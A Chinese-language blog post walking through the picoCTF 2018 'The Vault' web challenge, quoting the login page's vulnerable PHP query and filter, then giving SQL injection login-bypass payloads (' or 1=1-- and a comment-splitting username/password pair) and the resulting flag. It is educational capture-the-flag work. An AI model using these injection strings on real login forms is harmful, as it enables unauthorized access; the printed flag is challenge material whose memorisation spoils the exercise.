創作內容

1 GP

PICO CTF 2018 The Vault

作者:OKHand│2021-01-26 20:50:55│巴幣:2│人氣:156
The Vault - Points: 250 - (Solves: 7924)
->先連進題目的網頁 http://2018shell.picoctf.com:56537
->我們可以看到是一個登錄頁面
->我們看到下面有一個 login.php source code
->點進去看可以看到登入頁面的原始碼
->裡面我們可以看到這一行我們可以知道要兩個都過才能拿到flag
$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";
->接下去看 我們可以發現他只有檢查輸入進去的username的部分密碼沒有去做檢查
  //validation check  
$pattern ="/.*['\"].*OR.*/i";  
$user_match = preg_match($pattern, $username);  $password_match = preg_match($pattern, $username);
->這裡我們就可以想辦法再密碼做壞壞的事情
->我們可以使用SQL injection去做攻擊 在網路上可以找到很多資料下面的補充也會放一些我看的資料
->我們帳號的部分就亂打不能打他限制那些喔!密碼的部分就打' or 1=1—
->我們就能拿到我們的flag
->Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}
->至於為啥會跑出flag呢 因為我們剛剛打的密碼會傳到源碼那而源碼那邊會因為我們輸入的東西改動到源碼變成
$query = "SELECT 1 FROM users WHERE name='$username' AND password=' ' or 1=1—";
->這邊密碼就變成'' or 1=1 --後面的程式碼會被註解掉

我之前對於SQL injection的印象都只是輸入' or 1=1— 就過了沒有深入的去看看還有啥現在回來看看一些資料發現有一些延伸出去的東西可以是我以前沒想過的

至於解題方面我看了一些人他們說這題有另一種解題方式
就是在帳號地方輸入:'/*  密碼輸入:*/ OR 1=1 --
這樣就變成了
$query = "SELECT 1 FROM users WHERE name=''/*' AND password='*/ OR 1=1 --'
引用網址:https://home.gamer.com.tw/TrackBack.php?sn=5053653
Some rights reserved. 姓名標示-非商業性 2.5 台灣

相關創作

同標籤作品搜尋:#CTF

留言共 1 篇留言

七實
SQLi 真的蠻玄的www

01-27 00:47

OKHand
真的!玩到後來覺得web部分都好像變魔術一樣 前後端沒做好就一堆洞可以找01-27 09:33
我要留言提醒:您尚未登入,請先登入再留言

1喜歡★az7899603 可決定是否刪除您的留言,請勿發表違反站規文字。

前一篇:PICO CTF 201... 後一篇:PICO CTF 201...

追蹤私訊切換新版閱覽

作品資料夾

d88931122所有巴友
歡迎諸君來參觀老僧的小屋,內含Steam與Google Play遊戲、3D角色模組、Line貼圖看更多我要大聲說6小時前


face基於日前微軟官方表示 Internet Explorer 不再支援新的網路標準,可能無法使用新的應用程式來呈現網站內容,在瀏覽器支援度及網站安全性的雙重考量下,為了讓巴友們有更好的使用體驗,巴哈姆特即將於 2019年9月2日 停止支援 Internet Explorer 瀏覽器的頁面呈現和功能。
屆時建議您使用下述瀏覽器來瀏覽巴哈姆特:
。Google Chrome(推薦)
。Mozilla Firefox
。Microsoft Edge(Windows10以上的作業系統版本才可使用)

face我們了解您不想看到廣告的心情⋯ 若您願意支持巴哈姆特永續經營,請將 gamer.com.tw 加入廣告阻擋工具的白名單中,謝謝 !【教學】